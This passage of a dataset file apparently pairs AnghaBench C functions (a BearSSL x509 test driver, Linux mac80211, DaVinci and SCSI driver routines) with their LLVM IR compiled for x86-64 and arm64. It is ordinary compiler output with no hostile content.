@all_chains, align 8, !tbaa !11 %10 = getelementptr inbounds i8, ptr %9, i64 %8 %11 = tail call i32 @run_test_case(ptr noundef %10) #2 %12 = add nuw i64 %8, 1 %13 = load i64, ptr @all_chains_ptr, align 8, !tbaa !9 %14 = icmp ult i64 %12, %13 br i1 %14, label %7, label %15, !llvm.loop !13 15: ; preds = %7, %2 %16 = tail call i32 (...) @test_name_extraction() #2 %17 = load i64, ptr @max_dp_usage, align 8, !tbaa !9 %18 = trunc i64 %17 to i32 %19 = tail call i32 @printf(ptr noundef nonnull @.str, i32 noundef %18) #2 %20 = load i64, ptr @max_rp_usage, align 8, !tbaa !9 %21 = trunc i64 %20 to i32 %22 = tail call i32 @printf(ptr noundef nonnull @.str.1, i32 noundef %21) #2 %23 = load i32, ptr @keys, align 4, !tbaa !5 %24 = load i32, ptr @free_key, align 4, !tbaa !5 %25 = tail call i32 @HT_free(i32 noundef %23, i32 noundef %24) #2 %26 = load i32, ptr @trust_anchors, align 4, !tbaa !5 %27 = load i32, ptr @free_trust_anchor, align 4, !tbaa !5 %28 = tail call i32 @HT_free(i32 noundef %26, i32 noundef %27) #2 %29 = load i64, ptr @all_chains_ptr, align 8, !tbaa !9 %30 = icmp eq i64 %29, 0 br i1 %30, label %39, label %31 31: ; preds = %15, %31 %32 = phi i64 [ %36, %31 ], [ 0, %15 ] %33 = load ptr, ptr @all_chains, align 8, !tbaa !11 %34 = getelementptr inbounds i8, ptr %33, i64 %32 %35 = tail call i32 @free_test_case_contents(ptr noundef %34) #2 %36 = add nuw i64 %32, 1 %37 = load i64, ptr @all_chains_ptr, align 8, !tbaa !9 %38 = icmp ult i64 %36, %37 br i1 %38, label %31, label %39, !llvm.loop !15 39: ; preds = %31, %15 %40 = load ptr, ptr @all_chains, align 8, !tbaa !11 %41 = tail call i32 @xfree(ptr noundef %40) #2 ret i32 0 } declare i32 @process_conf_file(i32 noundef) local_unnamed_addr #1 declare i32 @run_test_case(ptr noundef) local_unnamed_addr #1 declare i32 @test_name_extraction(...) local_unnamed_addr #1 declare i32 @printf(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @HT_free(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @free_test_case_contents(ptr noundef) local_unnamed_addr #1 declare i32 @xfree(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !10, i64 0} !10 = !{!"long", !7, i64 0} !11 = !{!12, !12, i64 0} !12 = !{!"any pointer", !7, i64 0} !13 = distinct !{!13, !14} !14 = !{!"llvm.loop.mustprogress"} !15 = distinct !{!15, !14}
; ModuleID = 'AnghaBench/freebsd/contrib/bearssl/test/extr_test_x509.c_main.c' source_filename = "AnghaBench/freebsd/contrib/bearssl/test/extr_test_x509.c_main.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @CONFFILE = common local_unnamed_addr global i32 0, align 4 @max_dp_usage = common local_unnamed_addr global i64 0, align 8 @max_rp_usage = common local_unnamed_addr global i64 0, align 8 @all_chains_ptr = common local_unnamed_addr global i64 0, align 8 @all_chains = common local_unnamed_addr global ptr null, align 8 @.str = private unnamed_addr constant [33 x i8] c"Maximum data stack usage: %u\0A\00", align 1 @.str.1 = private unnamed_addr constant [33 x i8] c"Maximum return stack usage: %u\0A\00", align 1 @keys = common local_unnamed_addr global i32 0, align 4 @free_key = common local_unnamed_addr global i32 0, align 4 @trust_anchors = common local_unnamed_addr global i32 0, align 4 @free_trust_anchor = common local_unnamed_addr global i32 0, align 4 @stderr = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define noundef i32 @main(i32 noundef %0, ptr nocapture noundef readnone %1) local_unnamed_addr #0 { %3 = load i32, ptr @CONFFILE, align 4, !tbaa !6 %4 = tail call i32 @process_conf_file(i32 noundef %3) #2 store i64 0, ptr @max_dp_usage, align 8, !tbaa !10 store i64 0, ptr @max_rp_usage, align 8, !tbaa !10 %5 = load i64, ptr @all_chains_ptr, align 8, !tbaa !10 %6 = icmp eq i64 %5, 0 br i1 %6, label %15, label %7 7: ; preds = %2, %7 %8 = phi i64 [ %12, %7 ], [ 0, %2 ] %9 = load ptr, ptr @all_chains, align 8, !tbaa !12 %10 = getelementptr inbounds i8, ptr %9, i64 %8 %11 = tail call i32 @run_test_case(ptr noundef %10) #2 %12 = add nuw i64 %8, 1 %13 = load i64, ptr @all_chains_ptr, align 8, !tbaa !10 %14 = icmp ult i64 %12, %13 br i1 %14, label %7, label %15, !llvm.loop !14 15: ; preds = %7, %2 %16 = tail call i32 @test_name_extraction() #2 %17 = load i64, ptr @max_dp_usage, align 8, !tbaa !10 %18 = trunc i64 %17 to i32 %19 = tail call i32 @printf(ptr noundef nonnull @.str, i32 noundef %18) #2 %20 = load i64, ptr @max_rp_usage, align 8, !tbaa !10 %21 = trunc i64 %20 to i32 %22 = tail call i32 @printf(ptr noundef nonnull @.str.1, i32 noundef %21) #2 %23 = load i32, ptr @keys, align 4, !tbaa !6 %24 = load i32, ptr @free_key, align 4, !tbaa !6 %25 = tail call i32 @HT_free(i32 noundef %23, i32 noundef %24) #2 %26 = load i32, ptr @trust_anchors, align 4, !tbaa !6 %27 = load i32, ptr @free_trust_anchor, align 4, !tbaa !6 %28 = tail call i32 @HT_free(i32 noundef %26, i32 noundef %27) #2 %29 = load i64, ptr @all_chains_ptr, align 8, !tbaa !10 %30 = icmp eq i64 %29, 0 br i1 %30, label %39, label %31 31: ; preds = %15, %31 %32 = phi i64 [ %36, %31 ], [ 0, %15 ] %33 = load ptr, ptr @all_chains, align 8, !tbaa !12 %34 = getelementptr inbounds i8, ptr %33, i64 %32 %35 = tail call i32 @free_test_case_contents(ptr noundef %34) #2 %36 = add nuw i64 %32, 1 %37 = load i64, ptr @all_chains_ptr, align 8, !tbaa !10 %38 = icmp ult i64 %36, %37 br i1 %38, label %31, label %39, !llvm.loop !16 39: ; preds = %31, %15 %40 = load ptr, ptr @all_chains, align 8, !tbaa !12 %41 = tail call i32 @xfree(ptr noundef %40) #2 ret i32 0 } declare i32 @process_conf_file(i32 noundef) local_unnamed_addr #1 declare i32 @run_test_case(ptr noundef) local_unnamed_addr #1 declare i32 @test_name_extraction(...) local_unnamed_addr #1 declare i32 @printf(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @HT_free(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @free_test_case_contents(ptr noundef) local_unnamed_addr #1 declare i32 @xfree(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"long", !8, i64 0} !12 = !{!13, !13, i64 0} !13 = !{!"any pointer", !8, i64 0} !14 = distinct !{!14, !15} !15 = !{!"llvm.loop.mustprogress"} !16 = distinct !{!16, !15}
freebsd_contrib_bearssl_test_extr_test_x509.c_main
; ModuleID = 'AnghaBench/fastsocket/kernel/net/mac80211/extr_rc80211_pid_debugfs.c_rate_control_pid_event.c' source_filename = "AnghaBench/fastsocket/kernel/net/mac80211/extr_rc80211_pid_debugfs.c_rate_control_pid_event.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.rc_pid_event_buffer = type { i64, i32, i32, i32, ptr } %struct.rc_pid_event = type { i32, %union.rc_pid_event_data, i64, i32 } %union.rc_pid_event_data = type { i32 } @RC_PID_EVENT_RING_SIZE = dso_local local_unnamed_addr global i32 0, align 4 @jiffies = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @rate_control_pid_event], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @rate_control_pid_event(ptr noundef %0, i32 noundef %1, ptr nocapture noundef readonly %2) #0 { %4 = getelementptr inbounds %struct.rc_pid_event_buffer, ptr %0, i64 0, i32 2 %5 = tail call i32 @spin_lock_irqsave(ptr noundef nonnull %4, i64 noundef undef) #2 %6 = getelementptr inbounds %struct.rc_pid_event_buffer, ptr %0, i64 0, i32 4 %7 = load ptr, ptr %6, align 8, !tbaa !5 %8 = load i64, ptr %0, align 8, !tbaa !12 %9 = getelementptr inbounds %struct.rc_pid_event, ptr %7, i64 %8 %10 = add i64 %8, 1 %11 = load i32, ptr @RC_PID_EVENT_RING_SIZE, align 4, !tbaa !13 %12 = sext i32 %11 to i64 %13 = urem i64 %10, %12 store i64 %13, ptr %0, align 8, !tbaa !12 %14 = load i32, ptr @jiffies, align 4, !tbaa !13 %15 = getelementptr inbounds %struct.rc_pid_event, ptr %7, i64 %8, i32 3 store i32 %14, ptr %15, align 8, !tbaa !14 %16 = getelementptr inbounds %struct.rc_pid_event_buffer, ptr %0, i64 0, i32 3 %17 = load i32, ptr %16, align 8, !tbaa !16 %18 = add nsw i32 %17, 1 store i32 %18, ptr %16, align 8, !tbaa !16 %19 = sext i32 %17 to i64 %20 = getelementptr inbounds %struct.rc_pid_event, ptr %7, i64 %8, i32 2 store i64 %19, ptr %20, align 8, !tbaa !17 store i32 %1, ptr %9, align 8, !tbaa !18 %21 = getelementptr inbounds %struct.rc_pid_event, ptr %7, i64 %8, i32 1 %22 = load i32, ptr %2, align 4, !tbaa !13 store i32 %22, ptr %21, align 4, !tbaa !13 %23 = tail call i32 @spin_unlock_irqrestore(ptr noundef nonnull %4, i64 noundef undef) #2 %24 = getelementptr inbounds %struct.rc_pid_event_buffer, ptr %0, i64 0, i32 1 %25 = tail call i32 @wake_up_all(ptr noundef nonnull %24) #2 ret void } declare i32 @spin_lock_irqsave(ptr noundef, i64 noundef) local_unnamed_addr #1 declare i32 @spin_unlock_irqrestore(ptr noundef, i64 noundef) local_unnamed_addr #1 declare i32 @wake_up_all(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !11, i64 24} !6 = !{!"rc_pid_event_buffer", !7, i64 0, !10, i64 8, !10, i64 12, !10, i64 16, !11, i64 24} !7 = !{!"long", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!"int", !8, i64 0} !11 = !{!"any pointer", !8, i64 0} !12 = !{!6, !7, i64 0} !13 = !{!10, !10, i64 0} !14 = !{!15, !10, i64 16} !15 = !{!"rc_pid_event", !10, i64 0, !8, i64 4, !7, i64 8, !10, i64 16} !16 = !{!6, !10, i64 16} !17 = !{!15, !7, i64 8} !18 = !{!15, !10, i64 0}
; ModuleID = 'AnghaBench/fastsocket/kernel/net/mac80211/extr_rc80211_pid_debugfs.c_rate_control_pid_event.c' source_filename = "AnghaBench/fastsocket/kernel/net/mac80211/extr_rc80211_pid_debugfs.c_rate_control_pid_event.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" %struct.rc_pid_event = type { i32, %union.rc_pid_event_data, i64, i32 } %union.rc_pid_event_data = type { i32 } @RC_PID_EVENT_RING_SIZE = common local_unnamed_addr global i32 0, align 4 @jiffies = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @rate_control_pid_event], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @rate_control_pid_event(ptr noundef %0, i32 noundef %1, ptr nocapture noundef readonly %2) #0 { %4 = getelementptr inbounds i8, ptr %0, i64 12 %5 = tail call i32 @spin_lock_irqsave(ptr noundef nonnull %4, i64 noundef undef) #2 %6 = getelementptr inbounds i8, ptr %0, i64 24 %7 = load ptr, ptr %6, align 8, !tbaa !6 %8 = load i64, ptr %0, align 8, !tbaa !13 %9 = getelementptr inbounds %struct.rc_pid_event, ptr %7, i64 %8 %10 = add i64 %8, 1 %11 = load i32, ptr @RC_PID_EVENT_RING_SIZE, align 4, !tbaa !14 %12 = sext i32 %11 to i64 %13 = urem i64 %10, %12 store i64 %13, ptr %0, align 8, !tbaa !13 %14 = load i32, ptr @jiffies, align 4, !tbaa !14 %15 = getelementptr inbounds i8, ptr %9, i64 16 store i32 %14, ptr %15, align 8, !tbaa !15 %16 = getelementptr inbounds i8, ptr %0, i64 16 %17 = load i32, ptr %16, align 8, !tbaa !17 %18 = add nsw i32 %17, 1 store i32 %18, ptr %16, align 8, !tbaa !17 %19 = sext i32 %17 to i64 %20 = getelementptr inbounds i8, ptr %9, i64 8 store i64 %19, ptr %20, align 8, !tbaa !18 store i32 %1, ptr %9, align 8, !tbaa !19 %21 = getelementptr inbounds i8, ptr %9, i64 4 %22 = load i32, ptr %2, align 4, !tbaa !20 store i32 %22, ptr %21, align 4, !tbaa !20 %23 = tail call i32 @spin_unlock_irqrestore(ptr noundef nonnull %4, i64 noundef undef) #2 %24 = getelementptr inbounds i8, ptr %0, i64 8 %25 = tail call i32 @wake_up_all(ptr noundef nonnull %24) #2 ret void } declare i32 @spin_lock_irqsave(ptr noundef, i64 noundef) local_unnamed_addr #1 declare i32 @spin_unlock_irqrestore(ptr noundef, i64 noundef) local_unnamed_addr #1 declare i32 @wake_up_all(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !12, i64 24} !7 = !{!"rc_pid_event_buffer", !8, i64 0, !11, i64 8, !11, i64 12, !11, i64 16, !12, i64 24} !8 = !{!"long", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"int", !9, i64 0} !12 = !{!"any pointer", !9, i64 0} !13 = !{!7, !8, i64 0} !14 = !{!11, !11, i64 0} !15 = !{!16, !11, i64 16} !16 = !{!"rc_pid_event", !11, i64 0, !9, i64 4, !8, i64 8, !11, i64 16} !17 = !{!7, !11, i64 16} !18 = !{!16, !8, i64 8} !19 = !{!16, !11, i64 0} !20 = !{!9, !9, i64 0}
fastsocket_kernel_net_mac80211_extr_rc80211_pid_debugfs.c_rate_control_pid_event
; ModuleID = 'AnghaBench/fastsocket/kernel/arch/arm/mach-davinci/extr_common.c_davinci_get_mac_addr.c' source_filename = "AnghaBench/fastsocket/kernel/arch/arm/mach-davinci/extr_common.c_davinci_get_mac_addr.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_4__ = type { ptr } @davinci_soc_info = dso_local local_unnamed_addr global %struct.TYPE_4__ zeroinitializer, align 8 @ETH_ALEN = dso_local local_unnamed_addr global i64 0, align 8 @.str = private unnamed_addr constant [32 x i8] c"Read MAC addr from EEPROM: %pM\0A\00", align 1 ; Function Attrs: nounwind uwtable define dso_local void @davinci_get_mac_addr(ptr noundef %0, ptr noundef %1) local_unnamed_addr #0 { %3 = load ptr, ptr @davinci_soc_info, align 8, !tbaa !5 %4 = load ptr, ptr %3, align 8, !tbaa !10 %5 = ptrtoint ptr %1 to i64 %6 = trunc i64 %5 to i32 %7 = load ptr, ptr %0, align 8, !tbaa !12 %8 = load i64, ptr @ETH_ALEN, align 8, !tbaa !14 %9 = tail call i64 %7(ptr noundef nonnull %0, ptr noundef %4, i32 noundef %6, i64 noundef %8) #2 %10 = load i64, ptr @ETH_ALEN, align 8, !tbaa !14 %11 = icmp eq i64 %9, %10 br i1 %11, label %12, label %14 12: ; preds = %2 %13 = tail call i32 @pr_info(ptr noundef nonnull @.str, ptr noundef %4) #2 br label %14 14: ; preds = %12, %2 ret void } declare i32 @pr_info(ptr noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"TYPE_4__", !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !7, i64 0} !11 = !{!"TYPE_3__", !7, i64 0} !12 = !{!13, !7, i64 0} !13 = !{!"memory_accessor", !7, i64 0} !14 = !{!15, !15, i64 0} !15 = !{!"long", !8, i64 0}
; ModuleID = 'AnghaBench/fastsocket/kernel/arch/arm/mach-davinci/extr_common.c_davinci_get_mac_addr.c' source_filename = "AnghaBench/fastsocket/kernel/arch/arm/mach-davinci/extr_common.c_davinci_get_mac_addr.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" %struct.TYPE_4__ = type { ptr } @davinci_soc_info = common local_unnamed_addr global %struct.TYPE_4__ zeroinitializer, align 8 @ETH_ALEN = common local_unnamed_addr global i64 0, align 8 @.str = private unnamed_addr constant [32 x i8] c"Read MAC addr from EEPROM: %pM\0A\00", align 1 ; Function Attrs: nounwind ssp uwtable(sync) define void @davinci_get_mac_addr(ptr noundef %0, ptr noundef %1) local_unnamed_addr #0 { %3 = load ptr, ptr @davinci_soc_info, align 8, !tbaa !6 %4 = load ptr, ptr %3, align 8, !tbaa !11 %5 = ptrtoint ptr %1 to i64 %6 = trunc i64 %5 to i32 %7 = load ptr, ptr %0, align 8, !tbaa !13 %8 = load i64, ptr @ETH_ALEN, align 8, !tbaa !15 %9 = tail call i64 %7(ptr noundef nonnull %0, ptr noundef %4, i32 noundef %6, i64 noundef %8) #2 %10 = load i64, ptr @ETH_ALEN, align 8, !tbaa !15 %11 = icmp eq i64 %9, %10 br i1 %11, label %12, label %14 12: ; preds = %2 %13 = tail call i32 @pr_info(ptr noundef nonnull @.str, ptr noundef %4) #2 br label %14 14: ; preds = %12, %2 ret void } declare i32 @pr_info(ptr noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"TYPE_4__", !8, i64 0} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!12, !8, i64 0} !12 = !{!"TYPE_3__", !8, i64 0} !13 = !{!14, !8, i64 0} !14 = !{!"memory_accessor", !8, i64 0} !15 = !{!16, !16, i64 0} !16 = !{!"long", !9, i64 0}
fastsocket_kernel_arch_arm_mach-davinci_extr_common.c_davinci_get_mac_addr
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/scsi/extr_ips.c_ips_send_wait.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/scsi/extr_ips.c_ips_send_wait.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_9__ = type { i32, i32 } %struct.TYPE_8__ = type { i32, ptr } @.str = private unnamed_addr constant [14 x i8] c"ips_send_wait\00", align 1 @IPS_FFDC = dso_local local_unnamed_addr global i32 0, align 4 @TRUE = dso_local local_unnamed_addr global i32 0, align 4 @ipsintr_blocking = dso_local local_unnamed_addr global i32 0, align 4 @IPS_FAILURE = dso_local local_unnamed_addr global i32 0, align 4 @IPS_SUCCESS_IMM = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @ips_send_wait], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @ips_send_wait(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3) #0 { %5 = tail call i32 @METHOD_TRACE(ptr noundef nonnull @.str, i32 noundef 1) #2 %6 = load i32, ptr @IPS_FFDC, align 4, !tbaa !5 %7 = icmp eq i32 %6, %3 br i1 %7, label %14, label %8 8: ; preds = %4 %9 = load i32, ptr @TRUE, align 4, !tbaa !5 %10 = getelementptr inbounds %struct.TYPE_9__, ptr %0, i64 0, i32 1 store i32 %9, ptr %10, align 4, !tbaa !9 %11 = getelementptr inbounds %struct.TYPE_8__, ptr %1, i64 0, i32 1 %12 = load ptr, ptr %11, align 8, !tbaa !11 %13 = load i32, ptr %12, align 4, !tbaa !5 store i32 %13, ptr %0, align 4, !tbaa !14 br label %14 14: ; preds = %8, %4 %15 = load i32, ptr @ipsintr_blocking, align 4, !tbaa !5 store i32 %15, ptr %1, align 8, !tbaa !15 %16 = tail call i32 @ips_send_cmd(ptr noundef %0, ptr noundef nonnull %1) #2 %17 = load i32, ptr @IPS_FAILURE, align 4, !tbaa !5 %18 = icmp eq i32 %16, %17 %19 = load i32, ptr @IPS_SUCCESS_IMM, align 4 %20 = icmp eq i32 %16, %19 %21 = select i1 %18, i1 true, i1 %20 %22 = load i32, ptr @IPS_FFDC, align 4 %23 = icmp eq i32 %22, %3 %24 = select i1 %21, i1 true, i1 %23 br i1 %24, label %27, label %25 25: ; preds = %14 %26 = tail call i32 @ips_wait(ptr noundef %0, i32 noundef %2, i32 noundef %3) #2 br label %27 27: ; preds = %25, %14 %28 = phi i32 [ %16, %14 ], [ %26, %25 ] ret i32 %28 } declare i32 @METHOD_TRACE(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @ips_send_cmd(ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @ips_wait(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !6, i64 4} !10 = 